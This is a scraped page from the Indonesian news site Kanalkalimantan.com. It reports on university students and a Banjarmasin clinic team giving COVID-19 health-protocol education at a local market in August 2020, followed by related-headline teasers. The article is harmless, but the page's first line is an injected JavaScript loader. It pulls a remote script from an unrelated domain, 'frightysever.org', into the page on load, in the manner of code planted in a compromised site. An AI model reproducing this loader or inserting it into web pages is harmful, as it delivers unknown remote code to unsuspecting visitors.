(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tim Pengabdian Masyarakat oleh Mahasiswa (PMM) Universitas Muhammadiyah Malang kelompok 52 periode 4, bekerjasama dengan tim Promosi Kesehatan Puskesmas 9 November Banjarmasin, menggelar gerakan peduli kesehatan pada masa adaptasi baru atau juga dikenal new normal. Kegiatan berupa penyuluhan terkait pentingnya menjalankan protokol kesehatan di di Pasar Pengambangan, Banjarmasin, Kamis (6/8/2020).
Kegiatan dilakukan dengan memberikan edukasi masyarakat menggunakan media pengeras suara di masjid Al-Karramah. Pemilihan masjid ini dikarenakan satu lingkup dengan pasar sehingga edukasi mengenai masa adaptasi baru tersampaikan secara meluas.
Menurut Meilia Aisya, selaku koordinator kelompok 52 dengan dosen pembimbing lapangan Yaris Adhial Farjrin, mengatakan, PMM Bhaktimu Negeri mengatakan, tingkat kasus Covid-19 di Banjarmasin terus meningkat.
“Memasuki masa adaptasi baru bukan berarti kehidupan kembali normal seperti sebelum pandemi, tetapi masyarakat harus konsisten menerapkan protokol kesehatan hingga saat ini,” katanya.
Tidak hanya pemerintah dan tenaga kesehatan, masyarakat juga memiliki peranan penting dalam memutus rantai penularan virus corona.
Oleh karena itu, para mahasiswa diantaranya Meilia bersama Siti Nurlaili, Nadia Nabilah, Andi Ika Patriasih, dan Andi Zainuddin Japeri, memberikan pemahaman mengenai protokol kesehatan selama masa adaptasi ini.
“Pasar Jejumput di wilayah Pengambangan menjadi sasaran kami dalam memberikan edukasi kepada pedagang maupun pembeli yang belum menerapkan protokol kesehatan. Kami mengingatkan pentingnya menggunakan masker dan menjaga jarak di pusat perbelanjaan khususnya pasar selama masa adaptasi baru,” terangnya.
Edukasi secara langsung dengan memberikan pamflet berisi tentang protokol kesehatan dan hal-hal yang perlu dilakukan selama masa adaptasi baru.
“Tim kami juga memberikan New Normal Kit berisi handsanitizer, masker kain, vitamin C serta pamflet. Pembagian tersebut turut diberikan edukasi secara verbal kepada para pedagang, sehingga mereka memahami apa saja yang harus selalu dibawa selama new normal,” katanya.
Pembagian brosur juga dilakukan untuk mengajak masyarakat mengikuti Instagram Live yang akan diselenggarakan keesokan harinyadengan tema “Peranan Masyarakat dalam Menangani Covid-19” bersama narasumber dari bagian promosi Kesehatan Puskesmas 9 Nopember.
Harapannya masyarakat dapat ikut serta dalam upaya memutus rantai penularan serta mampu menerima informasi faktual yang disampaikan dan ikut serta dalam mengedukasi orang terdekat seperti keluarga ataupun tetangganya. (Kanalkalimantan.com/rls)
Editor: Cell
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.